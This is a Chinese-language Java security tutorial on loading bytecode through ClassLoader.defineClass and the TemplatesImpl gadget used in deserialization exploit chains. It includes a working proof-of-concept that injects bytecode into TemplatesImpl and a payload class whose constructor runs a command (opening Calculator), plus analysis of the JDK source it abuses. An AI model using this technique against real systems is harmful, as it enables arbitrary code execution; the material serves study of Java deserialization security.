ClassLoader类 无论加载远程class还是本地class或者jar文件,调用过程都是下面三个方法:
loadClass
的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机 制),在前面没有找到的情况下,执行 findClass
findClass
的作用是根据基础URL指定的方式(URLClassLoader)来加载类的字节码,例如在本地文件系统、jar包或远程http服务器上读取字节码,然后交给defineClass
defineClass
的作用是处理前面传入的字节码,将其处理成真正的Java类核心在defineClass,决定了如何将一段字节流转变成一个Java类,Java默认的ClassLoader#defineClass
是一个native方法,逻辑在JVM的C语言代码中。我们无法直接外部调用这些方法来加载字节码,但是有一些库中包含了部分代码完成了这个过程,我们可以利用这些库达到目的。
生成字节码 1 2 3 4 5 6 public byte [] getByteCode(String className) throws NotFoundException, IOException, CannotCompileException { ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.get(className); return ctClass.toBytecode(); }
利用defineClass读取字节码 Test类,编译成class文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public class Test { public Test () throws Exception { Runtime.getRuntime().exec("open -a Calculator" ); } public void aaa () { System.out.println("Method invoke" ); } public static void bbb () { System.out.println("Static Method invoke" ); } private void ccc () { System.out.println("Private Method invoke" ); } protected void ddd () { System.out.println("Protected Method invoke" ); } }
利用defineClass
读取字节码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 byte [] b = Files.readAllBytes(Paths.get("Test.class" ));Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass" , String.class, byte [].class, int .class, int .class); defineClass.setAccessible(true );ClassLoader classLoader = ClassLoader.getSystemClassLoader();Class cls = (Class) defineClass.invoke(classLoader, "Test" , b, 0 , b.length);Method m1 = cls.getDeclaredMethod("aaa" );Object obj = ClassLoader.getSystemClassLoader().loadClass("Test" ).newInstance(); m1.invoke(obj,null );Method m2 = cls.getDeclaredMethod("bbb" ); m2.invoke(null , null );Method m3 = cls.getDeclaredMethod("ccc" ); m3.setAccessible(true ); m3.invoke(obj,null );Method m4 = cls.getDeclaredMethod("ddd" ); m4.setAccessible(true ); m4.invoke(obj,null );
TemplatesImpl加载字节码 PoC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.NotFoundException;import javax.xml.transform.TransformerConfigurationException;import java.io.*;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.nio.file.Files;import java.nio.file.Paths;public class TemplatesImplForTest { public static byte [] getByteCode(String className) throws NotFoundException, IOException, CannotCompileException { ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.get(className); return ctClass.toBytecode(); } public static void setFieldValue (Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, ClassNotFoundException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException, TransformerConfigurationException { byte [] bytes = getByteCode("Test" ); TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_class" , null ); setFieldValue(obj, "_bytecodes" , new byte [][]{bytes}); setFieldValue(obj, "_name" , "lousix" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); obj.newTransformer(); } }
Test类(必须要继承AbstractTranslet
类)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Test extends AbstractTranslet { public Test () throws Exception { Runtime.getRuntime().exec("open -a Calculator" ); } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException {} @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} }
分析 代码执行主要发生在TemplatesImpl
的实例化过程中,
在newTransformer
函数中的getTransletInstance
函数,存在将_class
实例化的方法,跟进_class相关操作defineTransletClasses
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg (ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException (err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction () { public Object run () { return new TransletClassLoader (ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class [classCount]; if (classCount > 1 ) { _auxClasses = new HashMap <>(); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0 ) { ErrorMsg err= new ErrorMsg (ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException (err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException (err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } }
在defineTransletClasses
函数里先声明了一个TransletClassLoader
的类加载器,然后通过该类加载器的defineClass
函数加载字节码,改defineClass函数会直接调用ClassLoader中的defineClass,导致恶意代码执行。
同时,也需要关注一些特殊的变量设置
1、TemplatesImpl
中的_tfactory
在defineTransletClasses
中需要_tfactory
调用getExternalExtensionsMap
函数,因而_tfactory
必须为TransformerFactoryImpl
类型
2、恶意代码必须继承AbstractTranslet
在_class[]
实例化的过程中_transletIndex
的初始值为-1
在defineTransletClasses
中,如果判断_class[i]
的父类为AbstractTranslet
类型,则会修改_transletIndex
的值为当前_class[]
执行实例化的字节码的i
。
参考 https://www.geekby.site/2021/08/java反序列化漏洞-4/
https://blog.csdn.net/solitudi/article/details/119082164